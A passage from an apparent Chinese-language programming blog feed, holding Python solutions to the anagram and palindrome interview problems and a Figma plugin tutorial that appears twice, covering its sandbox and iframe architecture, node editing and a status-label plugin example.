if list_s[index] == list_t[index]:
continue
else:
return False
return True
主要是透過將字串轉為串列並將字元排序後一一比對。
串列移除法
class Solution:
def isAnagram(self, s: str, t: str) -> bool:
if len(s) != len(t):
return False
# 將字串轉為串列
list_s = list(s)
list_t = list(t)
# 將字串串列一一一取出
while len(list_s) > 0:
try:
# pop 出元素並確認是否有在另外一個串列中
char = list_s.pop(0)
list_t.remove(char)
except ValueError:
return False
return True
透過將字串轉為串列後將其中一個串列元素取出,並移除同樣在另外一個串列的字元,若發生無法移除錯誤代表有不同的字元組成,非易位構詞。
Problem: Valid Palindrome
Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.
Note: For the purpose of this problem, we define empty string as valid palindrome.
Example 1:
Input: "A man, a plan, a canal: Panama"
Output: true
Example 2:
Input: "race a car"
Output: false
Constraints:
s consists only of printable ASCII characters.
題目的意思是串入一個字串,回傳判斷是否為回文(Palindrome)。回文代表的意思為從前面或從後面看來都是一樣的字串,是正讀反讀都能讀通的句子。
Solution
雙指針法:
class Solution:
def isPalindrome(self, s: str) -> bool:
if len(s) < 2:
return True
# 將字串轉為小寫
s = s.lower()
# 初始化左右指針
# 設計兩個指標分別從最左和最右出發
pointer_left = 0
pointer_right = len(s) - 1
# 當左指針大於等於右指針時結束迴圈
while pointer_right > pointer_left:
# 左指標中,字串中有可能有非字母,透過 isalnum 進行判斷,若非字母字元則往前推進
if not s[pointer_left].isalnum():
pointer_left += 1
continue
# 右指標中,字串中有可能有非字母,透過 isalnum 進行判斷,若非字母字元則往前推進
if not s[pointer_right].isalnum():
pointer_right -= 1
continue
# 當字元比較相同則同時往前靠近
if s[pointer_left] == s[pointer_right]:
pointer_left += 1
pointer_right -= 1
continue
# 若有不符合則非回文
else:
return False
return True
透過設計兩個指標分別從最左和最右出發,可以比對是否是回文(注意要處理非字母字元狀況)。
串列切片法
class Solution:
def isPalindrome(self, s: str) -> bool:
if len(s) < 2:
return True
filtered_str_list = []
# 將非字母字元去除
for char in s:
if char.isalnum():
filtered_str_list.append(char.lower())
# 取中間索引
center_index = len(filtered_str_list) // 2
# 透過迭代取出到中間索引之前的 index
for index in range(center_index):
# 透過切片從頭和從尾相互比較
if filtered_str_list[index] == filtered_str_list[len(filtered_str_list) - index - 1]:
continue
# 若有不符合的狀況就是非回文
else:
return False
return True
事先透過判斷將非字母字元去除,最後透過串列切片判斷從中間切開的頭尾兩邊是否有符合回文狀況。
本系列文將持續整理程式設計的工作或面試入門常見的程式解題問題和讀者一起探討,研究可能的解決方式(主要使用的程式語言為 Python)。以上介紹了幾個簡單字串操作的問題當作開頭,需要注意的是 Python 本身內建的操作方式和其他程式語言可能不同,文中所列的不一定是最好的解法,讀者可以自行嘗試在時間效率和空間效率運用上取得最好的平衡點。
Figma 已經是現在設計師間的必備武器,不少人都已經從 Sketch 轉移到 Figma 上,其免費方案幾乎包含所有核心功能,讓像我一樣沒有設計專業的工程師也能毫無壓力的使用。
Figma 主要建構於 Web 技術,透過 Webassembly
來使用 C++ 等模組,而其推出的 Plugin 平台理所當然也能由 Javascript 撰寫。
基於這個事實,讓我覺得或許學習一下如何撰寫 Figma plugin 是個不錯的投資,如果能提供公司內部設計師所需要的外掛,不僅能提升整體工作的效率,也能提高自己對團隊的影響力,雙贏策略!所以今天就來學習一下如何製作 Figma plugin!
如果有讀者不太知道 Figma plugin 會長什麼樣子,這邊給大家看個範例:
也可以去官方 community 網站看看其他實際發佈上線的外掛,並載下來試用。
上圖的範例是為設計中的元件加入一些 status,像是 In review
,Work in progress
等等。(實際上早已有人實作ㄧ樣點子的外掛,也比較完善,所以我也不打算發佈出去,就當作一個練習,並拿來說明實作過程,原始碼在此。)
在開始之前,想跟大家分享一個很讚的東西,這是一齣由 Figma 員工在其內部一年兩次的 Maker Weeks 中所製作的音樂劇,完整體現 2020 年因為武漢肺炎而造成的許多工作軼事,其中還包含他們處理 incident 的過程,好聽之外也非常有趣,他們應該都工作得很愉快吧:)
剛好最近又是他們的 Maker Weeks,可以到 Figma 的 Twitter 看看員工分享他們做了什麼!
如果你跟我一樣,是個蠻愛跟風的前端工程師,需要做的前置作業相信你都早已準備好了。
基本就是需要你有能夠運行 Typescript、Nodejs 與 NPM 的環境、適合 TS 的編輯器(VScode, etc)以及桌面版本的 Figma。
對,目前若是要開發 Figma Plugin,你必須使用桌面版本,他們才能讀取你本地端的程式來執行。
在真的進入開發階段前,先了解一下 Figma plugin 是怎麼運作,其基本架構為何,對開發會有不小的幫助,就像是你開發 Chrome extension 時,也得先搞懂何謂 background scripts
、content scripts
ㄧ樣。
如同前面所說,Figma plugin 全由 Web 技術打造,也就是 Javascript、CSS 與 HTML,然而為了維持 Figma 本身的穩定與安全性,你的 plugin 需要拆分成兩個部分,執行在不同的環境:
一部分是運行在 Figma main thread 中 Sandbox 內的程式,可以使用完整的 ES6 Javascript,存取操作 Figma 檔案內容,但無法存取 DOM 物件,也無法發出網路請求。
另一部分則是運行在 iframe 內,可以存取 DOM 元素、發起網路請求等一般的網頁功能,因此也是你提供 plugin 使用者外掛操作介面的地方。
從官方文件的一張圖中,可以非常簡單明瞭的看出架構:
兩個部分的程式的溝通如同 worker 與 main thread 溝通一般,透過 postMessage
與 onmessage
來收發訊息。
目前 Figma plugin API 支援:
Reading layers and layer properties in the local file
理論上整個 figma file 內的 content 你都能夠讀取,包含 layer 的各種屬性。在現有架構下,即便有缺少的,也能夠提 request 請官方補上,不會太困難。
Create a modal with custom UI
Access browser APIs
由於有一部分的 code 是會運行在上述提到的 iframe 中,而在 iframe 中基本上你可以創建任何 Web UI,運行 JS、發送 network request 等等。
雖然看起來只有三個大類別,但其實也已經包含了上百個 method 與可操作的屬性。
未來官方還想繼續拓展延伸的部分有更多,包含像是 Access Team library
、Access Team info
,以及我最想要的 Trigger plugin code on events
等等。不過這些並沒有排入他們目前的 Road map 中,因為要在不影響主要產品的穩定度下進行,需要考慮的東西很多,所以沒有明確的 Timeline。
至於詳細的項目以及個別項目實作上會有的困難,官方都有在文件中說明,我覺得很簡單易讀,建議大家有興趣的話去看一看,可以看出他們對於整體設計上的一些思路。
基本上 Figma 的 plugin 都是想要存取 Figma 檔案內的物件,或是應該說是 Layer:
不過以程式的角度來看,Layer 其實比較適合用 node
來代表。
有稍微用過 Figma 這類設計工具就知道,物件都可以被 Grouping 在一起成為一個物件,但你還是能繼續編輯 Group 底下的每一個物件,也就是 Layer 底下還可能會有其他 Layer,而這個概念就跟樹狀結構一樣?,所以在撰寫程式的時候,用 node
來代表會直覺一點。
例如,如果我們想要將當前選擇的物件中的文字統一調整成 font size 16,我們可以這樣寫:
for (const node of figma.currentPage.selection) {
if (node.type === "TEXT") {
text.fontSize = 16;
}
}
// 告知 figma 你的 plugin 已經結束,可以關閉。
figma.closePlugin()
而當你需要遍歷尋找特定節點時,就可以依靠我們學習樹狀資料結構時最常用的 traverse 函式,自己去找出需要的 Node:
function traverse(node) {
if ("children" in node) {
if (node.type !== "INSTANCE") {
for (const child of node.children) {
traverse(child)
}
}
}
// leaf, do something...etc
}
traverse(figma.currentPage) // 從 root 開始跑, 用 figma.root 也可
Figma 中有許多類別的 Node,像是 [RectangleNode](https://www.figma.com/plugin-docs/api/RectangleNode)
、[TextNode](https://www.figma.com/plugin-docs/api/TextNode)
與 [FrameNode](FrameNode)
等等,完整列表可以參考官方文件 - Node Type。
零零總總有 16 種不同類別的 Node,每一種也都擁有不同的屬性。要記起來不太可能,這時就得感謝一下 Typescript 的幫忙,Figma 有提供 @figma/plugin-typings
供你使用,搭配 VSCode 的支援,在操作不同 Node 時,可以輕鬆知道其所擁有的屬性,若是不清楚詳細用法,再對照官方文件即可。
此外,因為大部分的 Plugin 都是作用在特定的 Node type,為了不讓系統 crash,製作 plugin 時,各種 edge case 的處理就很重要,你要顧慮到當使用者在不適合的 Node type 上使用你的 plugin 時該怎麼處理,無論是 ignore 或是給予警告都可以,重點是要盡量讓系統維持穩定。
看到這邊你可能會覺得奇怪,編輯屬性為什麼需要特別提出來說呢?
一般來說,更改 Object 內部的 properties,我們自然會這樣處理:
text.fontSize = 12
在 Figma plugin sandbox 中操作普通的 Node object 時,這樣的寫法大部分也會是有效的。
然而,若是要操作一些複雜一點的屬性,像是陣列(Array)與陣列內的物件(Object)時,就不能這樣處理,除了修改不會生效外,Figma 也會報 Error:
// error: object is not extensible
figma.currentPage.selection.push(otherNode)
// error: Cannot assign to read only property 'r' of object
node.fills[0].color.r = 10
若要成功更改內容,你必須複製整個內容然後取代,例如:
const selection = figma.currentPage.selection.slice()
selection.push(someNode)
figma.currentPage.selection = selection
const fills = JSON.parse(JSON.stringify(rect.fills))
fills[0].color.r = 0.5
rect.fills = fills
之所以要這樣做,主要原因是,某些 Javascript Object 在 Figma 的 Sandbox 中其實並不是一般的 Javascript Object,Figma 在其內部有特殊的實作,expose 出的介面可能背後有複雜的抽象細節,像是屬性更動時,需要處理 re-render
、update instance
等等;加上 Figma 背後使用 WebAssembly memory,基於穩定性與實作複雜度的考量,才只能出此下策。
這點在實作 Plugin 的過程中,算是比較需要注意以及比較麻煩的點。
官方在文件內有說明他們的難處與考量,有興趣的可以前去詳讀,附上連結在此。
基本的概念介紹得差不多了,可以開始實作了。
回顧一下我們的範例:
功能很簡單,就是幫使用者選取的物件加上 Label,會創建出一個 FrameNode,然後與使用者選取的物件群組在一起。
前面說過,要開發 Figma plugin 需要使用 Figma 桌面版(有 Windows 與 Mac 版本),在 Figma 桌面版中,點選右鍵 -> Plugins -> Development -> New Plugin...
:
Figma 已經為你準備好了一些基本的 template,有三種選項可以選擇,RunOnce
與 With UI & browser APIs
的差別就在於有沒有 iframe
的環境可以提供 Plugin 使用者一個 UI 介面操作。
選定好 template 後,選擇 Save as...
就可以將一個 Figma plugin template 載下。(這次的範例選擇 With UI & browser APIs
)
載下來的 Plugin template 結構如下:
是一個簡單的 typescript project,code.ts
是主要的 Figma Plugin Sandbox 程式,code.js
可想而知是編譯後的檔案。
ui.html
則是運行在 iframe
裡面,你可以用來繪製 UI 與使用 browser APIs、Network reqeust 的部分。
mainifest.json
則是用來描述你的 Plugin,告知 Figma 你的 Sanbox code 與 iframe code 位置在哪等等:
{
"name": "StatusLabel",
"id": "917361515292167655",
"api": "1.0.0",
"main": "code.js",
"ui": "ui.html"
}
這邊的 main
與 ui
就是主要程式進入點,所以你其實也可以像開發一般的 Web SPA 一樣,用 React、Vue 來製作 UI,用 Webpack 來 bundle 你的程式,只要指定對路徑即可。範例可以參考此處。
ui.html
我們先從 ui.html
開始看起:
<h2>Select status label</h2>
<label for="status">Choose a status</label>
<select name="status" id="status">
<option value="LGTM">LGTM</option>
<option value="Work in progress">Work in progress</option>
<option value="In Review">In Review</option>
<option value="Please Review">Please Review</option>
</select>
<button id="create">Create</button>
<button id="cancel">Cancel</button>
<script>
document.getElementById('create').onclick = () => {
const select = document.getElementById('status');
const text = select.options[select.selectedIndex].value;
parent.postMessage({ pluginMessage: { type: 'create-label', text } }, '*')
}
document.getElementById('cancel').onclick = () => {
parent.postMessage({ pluginMessage: { type: 'cancel' } }, '*')
}
</script>
完全就是一個普通的 HTML 檔案,唯一要注意的是,因為他是運行在 iframe 裡面,所以當我們要將資訊傳遞給 Sandbox 內的 code.ts
時,得用 parent.postMessage()
。
傳遞的參數要用 pluginMessage
,可以傳遞幾乎任何 object。這邊我們為了要讓 Sandbox 內的 code.ts
知道使用者點選了哪種 Button,以及選擇了哪個 status label,我們定義以下的 Message 來傳遞:
type Msg {
type: 'create-label' | 'cancel';
text?: string; // 使用者 select 的字串
}
上面的程式碼呈現在 Figma 當中就如下圖(畫面中的 Developer VM 待會會說明):
code.ts
使用者介面有了,接著來看 code.ts
。
主要重點有兩個函式:figma.showUI
與 figma.ui.onmessage
:
// This shows the HTML page in "ui.html".
figma.showUI(__html__);
figma.ui.onmessage = msg => {
// ...Implementation details
// ...ignore for now
// Make sure to close the plugin when you're done. Otherwise the plugin will
// keep running, which shows the cancel button at the bottom of the screen.
figma.closePlugin();
};
figma.showUI
就是單純告知 Figma 你有一個 UI 要呈現給使用者,參數 __html__
會指向 ui.html
的內容,Figma 會開啟一個 Modal 去呈現這個 iframe UI。
figma.ui.onmessage
用來接收從 iframe 傳來的 postMessage
。(相反的,我們也可以用 figma.ui.postMessage
傳遞資訊給 iframe,iframe 以 window.onmessage
接收。)
以我們的範例來說,我們想要接收的訊息可以分為兩種:
在 figma.ui.onmessage
中,我們根據接收到的 msg.type
來判斷是要處理哪一種類型的動作:
figma.ui.onmessage = async (msg) => {
if (msg.type === 'create-label') {
// 替選取的物件加上 label
}
// 若 msg.type !== 'create-label',就直接關掉 plugin,也就是 cancel button
figma.closePlugin();
};
當 msg.type
為 create-label
時,代表我們要創建 status label 並與使用者當前選取的 Layers(Nodes)群組在一起:
if (msg.type === 'create-label') {
const nodes: SceneNode[] = [];
await figma.loadFontAsync({ family: "Roboto", style: "Bold" });
let group;
for (const node of figma.currentPage.selection) {
const frame = createLabel(msg);
// 調整位置
frame.x = node.x;
frame.y = node.y - 50;
group = figma.group([node, frame], figma.currentPage);
group.layoutGrow = 1;
}
nodes.push(group);
figma.currentPage.selection = nodes;
figma.viewport.scrollAndZoomIntoView(nodes);
}
因為我們的 Label 需要用到文字,也就是 TextNode
,在 Figma 內他會要求你先載入字體檔,所以才需要加入這行:await figma.loadFontAsync({ family: "Roboto", style: "Bold" });
。
接著我們遍歷 figma.currentPage.selection
這個陣列,該陣列包含所有被使用者選取的 Layers(Nodes),我們針對每一個 Node 都創建一個 Label,這邊我們使用的是 FrameNode
,類似於 HTML 中的 Div
,我們用他與 TextNode
一起組合排版出一個 Label,像這樣:
createLabel
函式是我自己抽出去實作的,主要就是針對 FrameNode
與 TextNode
做排版、顏色、內容的處理,這邊簡略給大家看一下,實際上 Node 的使用方式,例如有什麼屬性可以調整,可以搭配官方文件閱讀:
const createLabel = (msg) => {
const frame = figma.createFrame();
frame.name = 'Status Label';
// ... 略
frame.fills = [{type: 'SOLID', color: colorMap[msg.text]}];
frame.cornerRadius = 4;
frame.resize(120, 30);
const text = figma.createText();
text.fontName = { family: "Roboto", style: "Bold" };
text.fontSize = 12;
// ... 略
// 這邊將 ui.html 傳入的 msg.text assign 給 TextNode
text.characters = msg.text;
frame.constrainProportions = true;
frame.appendChild(text);
return frame;
}
再來呢,我們想要讓群組好的 GroupNode
,自動被選取,並移動到使用者視野正中間。
要做到這件事,我們必需把他放入一個 Node 陣列中,因為如同我們在 編輯屬性 提到的,要跟改陣列物件,我們必須整個陣列改掉才能生效:
//...略
const nodes: SceneNode[] = [];
//...略
// 將我們創造的 Label frameNode 與 目前選到的 Node 群組起來。
group = figma.group([node, frame], figma.currentPage);
//...略
nodes.push(group);
figma.currentPage.selection = nodes;
// 呼叫此 API 來移動 view port
figma.viewport.scrollAndZoomIntoView(nodes);
到這邊為止,整個 Plugin 的實作就完成了,接著只要執行 npm run build
,將檔案編譯好,你就能在 Figma Desktop 中找到你的 Plugin 來使用。(可以在 Development 下面找到)
當然,每次都要 build 會很麻煩,所以你一樣可以設定 Webpack watch mode,這樣會比較方便一些。官方有範例可以參考
開發的過程中,免不了需要除錯,Figma 既然是以 Web 技術為底,當然有 Dev Tool 可以使用,可以從 右鍵 -> plugins -> Development -> Open console
或是用跟 Chrome 開啟 Devtool 一樣的 shortcut 來開啟:
不過這只能讓你看到錯誤訊息,若是你想加入 Debugger 來下中斷點,並在 Console 內看到你的 source code,你需要啟用 Developer VM
:
運行在 Developer VM
環境的 Plugin,其效能與 runtime 與實際跑在 Figma 上的會有不同,所以正式發佈前記得要取消 Developer VM
的選項,在一般環境下運行看看。
最後,完成你的 Plugin 後,當然會想要上架啦。
目前要上架 Plugin 需要經過 Figma 團隊的審核,官方有文章詳細說明每一個步驟,我就不贅述,可以到這邊查看:
Publish a plugin to the Community
雖然我沒有實際上架 Plugin,但相信照著文章步驟做不會有太大問題,只是有一個點要注意一下。
你在 Figma 的帳號需要啟動 two-factor authentication 才能夠申請發佈 Plugin,如果你是用 Google account SSO 申請的帳號,是不能夠啟用 two-factor authentication 的,必須重新申請一個以 Email 註冊的帳號。
Figma Plugin 的製作概念不複雜,除了要手動去設定每個 Node 的屬性來改變物件型態一開始不太習慣外,整體實作起來的感覺是蠻迅速方便的,程式編譯完以後,在 Figma 桌面程式內可以直接使用,不需要有額外載入的動作。
比較可惜的是目前還無法根據 Event 來觸發 Plugin,但依照 Figma 工程師的能力與創造力,相信在未來是有可能的。看看他們今年 maker week 就有人做了一個 Gameboy 的 plugin LOL:
For maker week at @figmadesign I really wanted to do something wild, so I made a plugin that runs a gameboy emulator inside of Figma and renders the output as vectors to the canvas. pic.twitter.com/M7up2Gb2a8
— Sawyer Hood (@sawyerhood) December 7, 2020
感謝閱讀到這邊的讀者,不知道是否有激起你一點慾望想去試試看製作 Figma plugin?有或沒有都很好,至少希望你對此有個大概的了解。而我呢,準備要去跟設計師討論看看,有什麼內部需求可以來玩玩了!
]]>Figma 已經是現在設計師間的必備武器,不少人都已經從 Sketch 轉移到 Figma 上,其免費方案幾乎包含所有核心功能,讓像我一樣沒有設計專業的工程師也能毫無壓力的使用。
Figma 主要建構於 Web 技術,透過 Webassembly
來使用 C++ 等模組,而其推出的 Plugin 平台理所當然也能由 Javascript 撰寫。
基於這個事實,讓我覺得或許學習一下如何撰寫 Figma plugin 是個不錯的投資,如果能提供公司內部設計師所需要的外掛,不僅能提升整體工作的效率,也能提高自己對團隊的影響力,雙贏策略!所以今天就來學習一下如何製作 Figma plugin!
如果有讀者不太知道 Figma plugin 會長什麼樣子,這邊給大家看個範例:
也可以去官方 community 網站看看其他實際發佈上線的外掛,並載下來試用。
上圖的範例是為設計中的元件加入一些 status,像是 In review
,Work in progress
等等。(實際上早已有人實作ㄧ樣點子的外掛,也比較完善,所以我也不打算發佈出去,就當作一個練習,並拿來說明實作過程,原始碼在此。)
在開始之前,想跟大家分享一個很讚的東西,這是一齣由 Figma 員工在其內部一年兩次的 Maker Weeks 中所製作的音樂劇,完整體現 2020 年因為武漢肺炎而造成的許多工作軼事,其中還包含他們處理 incident 的過程,好聽之外也非常有趣,他們應該都工作得很愉快吧:)
剛好最近又是他們的 Maker Weeks,可以到 Figma 的 Twitter 看看員工分享他們做了什麼!
如果你跟我一樣,是個蠻愛跟風的前端工程師,需要做的前置作業相信你都早已準備好了。
基本就是需要你有能夠運行 Typescript、Nodejs 與 NPM 的環境、適合 TS 的編輯器(VScode, etc)以及桌面版本的 Figma。
對,目前若是要開發 Figma Plugin,你必須使用桌面版本,他們才能讀取你本地端的程式來執行。
在真的進入開發階段前,先了解一下 Figma plugin 是怎麼運作,其基本架構為何,對開發會有不小的幫助,就像是你開發 Chrome extension 時,也得先搞懂何謂 background scripts
、content scripts
ㄧ樣。
如同前面所說,Figma plugin 全由 Web 技術打造,也就是 Javascript、CSS 與 HTML,然而為了維持 Figma 本身的穩定與安全性,你的 plugin 需要拆分成兩個部分,執行在不同的環境:
一部分是運行在 Figma main thread 中 Sandbox 內的程式,可以使用完整的 ES6 Javascript,存取操作 Figma 檔案內容,但無法存取 DOM 物件,也無法發出網路請求。
另一部分則是運行在 iframe 內,可以存取 DOM 元素、發起網路請求等一般的網頁功能,因此也是你提供 plugin 使用者外掛操作介面的地方。
從官方文件的一張圖中,可以非常簡單明瞭的看出架構:
兩個部分的程式的溝通如同 worker 與 main thread 溝通一般,透過 postMessage
與 onmessage
來收發訊息。
目前 Figma plugin API 支援:
Reading layers and layer properties in the local file
理論上整個 figma file 內的 content 你都能夠讀取,包含 layer 的各種屬性。在現有架構下,即便有缺少的,也能夠提 request 請官方補上,不會太困難。
Create a modal with custom UI
Access browser APIs
由於有一部分的 code 是會運行在上述提到的 iframe 中,而在 iframe 中基本上你可以創建任何 Web UI,運行 JS、發送 network request 等等。
雖然看起來只有三個大類別,但其實也已經包含了上百個 method 與可操作的屬性。
未來官方還想繼續拓展延伸的部分有更多,包含像是 Access Team library
、Access Team info
,以及我最想要的 Trigger plugin code on events
等等。不過這些並沒有排入他們目前的 Road map 中,因為要在不影響主要產品的穩定度下進行,需要考慮的東西很多,所以沒有明確的 Timeline。
至於詳細的項目以及個別項目實作上會有的困難,官方都有在文件中說明,我覺得很簡單易讀,建議大家有興趣的話去看一看,可以看出他們對於整體設計上的一些思路。
基本上 Figma 的 plugin 都是想要存取 Figma 檔案內的物件,或是應該說是 Layer:
不過以程式的角度來看,Layer 其實比較適合用 node
來代表。
有稍微用過 Figma 這類設計工具就知道,物件都可以被 Grouping 在一起成為一個物件,但你還是能繼續編輯 Group 底下的每一個物件,也就是 Layer 底下還可能會有其他 Layer,而這個概念就跟樹狀結構一樣?,所以在撰寫程式的時候,用 node
來代表會直覺一點。
例如,如果我們想要將當前選擇的物件中的文字統一調整成 font size 16,我們可以這樣寫:
for (const node of figma.currentPage.selection) {
if (node.type === "TEXT") {
text.fontSize = 16;
}
}
// 告知 figma 你的 plugin 已經結束,可以關閉。
figma.closePlugin()
而當你需要遍歷尋找特定節點時,就可以依靠我們學習樹狀資料結構時最常用的 traverse 函式,自己去找出需要的 Node:
function traverse(node) {
if ("children" in node) {
if (node.type !== "INSTANCE") {
for (const child of node.children) {
traverse(child)
}
}
}
// leaf, do something...etc
}
traverse(figma.currentPage) // 從 root 開始跑, 用 figma.root 也可
Figma 中有許多類別的 Node,像是 [RectangleNode](https://www.figma.com/plugin-docs/api/RectangleNode)
、[TextNode](https://www.figma.com/plugin-docs/api/TextNode)
與 [FrameNode](FrameNode)
等等,完整列表可以參考官方文件 - Node Type。
零零總總有 16 種不同類別的 Node,每一種也都擁有不同的屬性。要記起來不太可能,這時就得感謝一下 Typescript 的幫忙,Figma 有提供 @figma/plugin-typings
供你使用,搭配 VSCode 的支援,在操作不同 Node 時,可以輕鬆知道其所擁有的屬性,若是不清楚詳細用法,再對照官方文件即可。
此外,因為大部分的 Plugin 都是作用在特定的 Node type,為了不讓系統 crash,製作 plugin 時,各種 edge case 的處理就很重要,你要顧慮到當使用者在不適合的 Node type 上使用你的 plugin 時該怎麼處理,無論是 ignore 或是給予警告都可以,重點是要盡量讓系統維持穩定。
看到這邊你可能會覺得奇怪,編輯屬性為什麼需要特別提出來說呢?
一般來說,更改 Object 內部的 properties,我們自然會這樣處理:
text.fontSize = 12
在 Figma plugin sandbox 中操作普通的 Node object 時,這樣的寫法大部分也會是有效的。
然而,若是要操作一些複雜一點的屬性,像是陣列(Array)與陣列內的物件(Object)時,就不能這樣處理,除了修改不會生效外,Figma 也會報 Error:
// error: object is not extensible
figma.currentPage.selection.push(otherNode)
// error: Cannot assign to read only property 'r' of object
node.fills[0].color.r = 10
若要成功更改內容,你必須複製整個內容然後取代,例如:
const selection = figma.currentPage.selection.slice()
selection.push(someNode)
figma.currentPage.selection = selection
const fills = JSON.parse(JSON.stringify(rect.fills))
fills[0].color.r = 0.5
rect.fills = fills
之所以要這樣做,主要原因是,某些 Javascript Object 在 Figma 的 Sandbox 中其實並不是一般的 Javascript Object,Figma 在其內部有特殊的實作,expose 出的介面可能背後有複雜的抽象細節,像是屬性更動時,需要處理 re-render
、update instance
等等;加上 Figma 背後使用 WebAssembly memory,基於穩定性與實作複雜度的考量,才只能出此下策。
這點在實作 Plugin 的過程中,算是比較需要注意以及比較麻煩的點。
官方在文件內有說明他們的難處與考量,有興趣的可以前去詳讀,附上連結在此。
基本的概念介紹得差不多了,可以開始實作了。
回顧一下我們的範例:
功能很簡單,就是幫使用者選取的物件加上 Label,會創建出一個 FrameNode,然後與使用者選取的物件群組在一起。
前面說過,要開發 Figma plugin 需要使用 Figma 桌面版(有 Windows 與 Mac 版本),在 Figma 桌面版中,點選右鍵 -> Plugins -> Development -> New Plugin...
:
Figma 已經為你準備好了一些基本的 template,有三種選項可以選擇,RunOnce
與 With UI & browser APIs
的差別就在於有沒有 iframe
的環境可以提供 Plugin 使用者一個 UI 介面操作。
選定好 template 後,選擇 Save as...
就可以將一個 Figma plugin template 載下。(這次的範例選擇 With UI & browser APIs
)
載下來的 Plugin template 結構如下:
是一個簡單的 typescript project,code.ts
是主要的 Figma Plugin Sandbox 程式,code.js
可想而知是編譯後的檔案。
ui.html
則是運行在 iframe
裡面,你可以用來繪製 UI 與使用 browser APIs、Network reqeust 的部分。
mainifest.json
則是用來描述你的 Plugin,告知 Figma 你的 Sanbox code 與 iframe code 位置在哪等等:
{
"name": "StatusLabel",
"id": "917361515292167655",
"api": "1.0.0",
"main": "code.js",
"ui": "ui.html"
}
這邊的 main
與 ui
就是主要程式進入點,所以你其實也可以像開發一般的 Web SPA 一樣,用 React、Vue 來製作 UI,用 Webpack 來 bundle 你的程式,只要指定對路徑即可。範例可以參考此處。
ui.html
我們先從 ui.html
開始看起:
<h2>Select status label</h2>
<label for="status">Choose a status</label>
<select name="status" id="status">
<option value="LGTM">LGTM</option>
<option value="Work in progress">Work in progress</option>
<option value="In Review">In Review</option>
<option value="Please Review">Please Review</option>
</select>
<button id="create">Create</button>
<button id="cancel">Cancel</button>
<script>
document.getElementById('create').onclick = () => {
const select = document.getElementById('status');
const text = select.options[select.selectedIndex].value;
parent.postMessage({ pluginMessage: { type: 'create-label', text } }, '*')
}
document.getElementById('cancel').onclick = () => {
parent.postMessage({ pluginMessage: { type: 'cancel' } }, '*')
}
</script>
完全就是一個普通的 HTML 檔案,唯一要注意的是,因為他是運行在 iframe 裡面,所以當我們要將資訊傳遞給 Sandbox 內的 code.ts
時,得用 parent.postMessage()
。
傳遞的參數要用 pluginMessage
,可以傳遞幾乎任何 object。這邊我們為了要讓 Sandbox 內的 code.ts
知道使用者點選了哪種 Button,以及選擇了哪個 status label,我們定義以下的 Message 來傳遞:
type Msg {
type: 'create-label' | 'cancel';
text?: string; // 使用者 select 的字串
}
上面的程式碼呈現在 Figma 當中就如下圖(畫面中的 Developer VM 待會會說明):
code.ts
使用者介面有了,接著來看 code.ts
。
主要重點有兩個函式:figma.showUI
與 figma.ui.onmessage
:
// This shows the HTML page in "ui.html".
figma.showUI(__html__);
figma.ui.onmessage = msg => {
// ...Implementation details
// ...ignore for now
// Make sure to close the plugin when you're done. Otherwise the plugin will
// keep running, which shows the cancel button at the bottom of the screen.
figma.closePlugin();
};
figma.showUI
就是單純告知 Figma 你有一個 UI 要呈現給使用者,參數 __html__
會指向 ui.html
的內容,Figma 會開啟一個 Modal 去呈現這個 iframe UI。
figma.ui.onmessage
用來接收從 iframe 傳來的 postMessage
。(相反的,我們也可以用 figma.ui.postMessage
傳遞資訊給 iframe,iframe 以 window.onmessage
接收。)
以我們的範例來說,我們想要接收的訊息可以分為兩種:
在 figma.ui.onmessage
中,我們根據接收到的 msg.type
來判斷是要處理哪一種類型的動作:
figma.ui.onmessage = async (msg) => {
if (msg.type === 'create-label') {
// 替選取的物件加上 label
}
// 若 msg.type !== 'create-label',就直接關掉 plugin,也就是 cancel button
figma.closePlugin();
};
當 msg.type
為 create-label
時,代表我們要創建 status label 並與使用者當前選取的 Layers(Nodes)群組在一起:
if (msg.type === 'create-label') {
const nodes: SceneNode[] = [];
await figma.loadFontAsync({ family: "Roboto", style: "Bold" });
let group;
for (const node of figma.currentPage.selection) {
const frame = createLabel(msg);
// 調整位置
frame.x = node.x;
frame.y = node.y - 50;
group = figma.group([node, frame], figma.currentPage);
group.layoutGrow = 1;
}
nodes.push(group);
figma.currentPage.selection = nodes;
figma.viewport.scrollAndZoomIntoView(nodes);
}
因為我們的 Label 需要用到文字,也就是 TextNode
,在 Figma 內他會要求你先載入字體檔,所以才需要加入這行:await figma.loadFontAsync({ family: "Roboto", style: "Bold" });
。
接著我們遍歷 figma.currentPage.selection
這個陣列,該陣列包含所有被使用者選取的 Layers(Nodes),我們針對每一個 Node 都創建一個 Label,這邊我們使用的是 FrameNode
,類似於 HTML 中的 Div
,我們用他與 TextNode
一起組合排版出一個 Label,像這樣:
createLabel
函式是我自己抽出去實作的,主要就是針對 FrameNode
與 TextNode
做排版、顏色、內容的處理,這邊簡略給大家看一下,實際上 Node 的使用方式,例如有什麼屬性可以調整,可以搭配官方文件閱讀:
const createLabel = (msg) => {
const frame = figma.createFrame();
frame.name = 'Status Label';
// ... 略
frame.fills = [{type: 'SOLID', color: colorMap[msg.text]}];
frame.cornerRadius = 4;
frame.resize(120, 30);
const text = figma.createText();
text.fontName = { family: "Roboto", style: "Bold" };
text.fontSize = 12;
// ... 略
// 這邊將 ui.html 傳入的 msg.text assign 給 TextNode
text.characters = msg.text;
frame.constrainProportions = true;
frame.appendChild(text);
return frame;
}
再來呢,我們想要讓群組好的 GroupNode
,自動被選取,並移動到使用者視野正中間。
要做到這件事,我們必需把他放入一個 Node 陣列中,因為如同我們在 編輯屬性 提到的,要跟改陣列物件,我們必須整個陣列改掉才能生效:
//...略
const nodes: SceneNode[] = [];
//...略
// 將我們創造的 Label frameNode 與 目前選到的 Node 群組起來。
group = figma.group([node, frame], figma.currentPage);
//...略
nodes.push(group);
figma.currentPage.selection = nodes;
// 呼叫此 API 來移動 view port
figma.viewport.scrollAndZoomIntoView(nodes);
到這邊為止,整個 Plugin 的實作就完成了,接著只要執行 npm run build
,將檔案編譯好,你就能在 Figma Desktop 中找到你的 Plugin 來使用。(可以在 Development 下面找到)
當然,每次都要 build 會很麻煩,所以你一樣可以設定 Webpack watch mode,這樣會比較方便一些。官方有範例可以參考
開發的過程中,免不了需要除錯,Figma 既然是以 Web 技術為底,當然有 Dev Tool 可以使用,可以從 右鍵 -> plugins -> Development -> Open console
或是用跟 Chrome 開啟 Devtool 一樣的 shortcut 來開啟:
不過這只能讓你看到錯誤訊息,若是你想加入 Debugger 來下中斷點,並在 Console 內看到你的 source code,你需要啟用 Developer VM
:
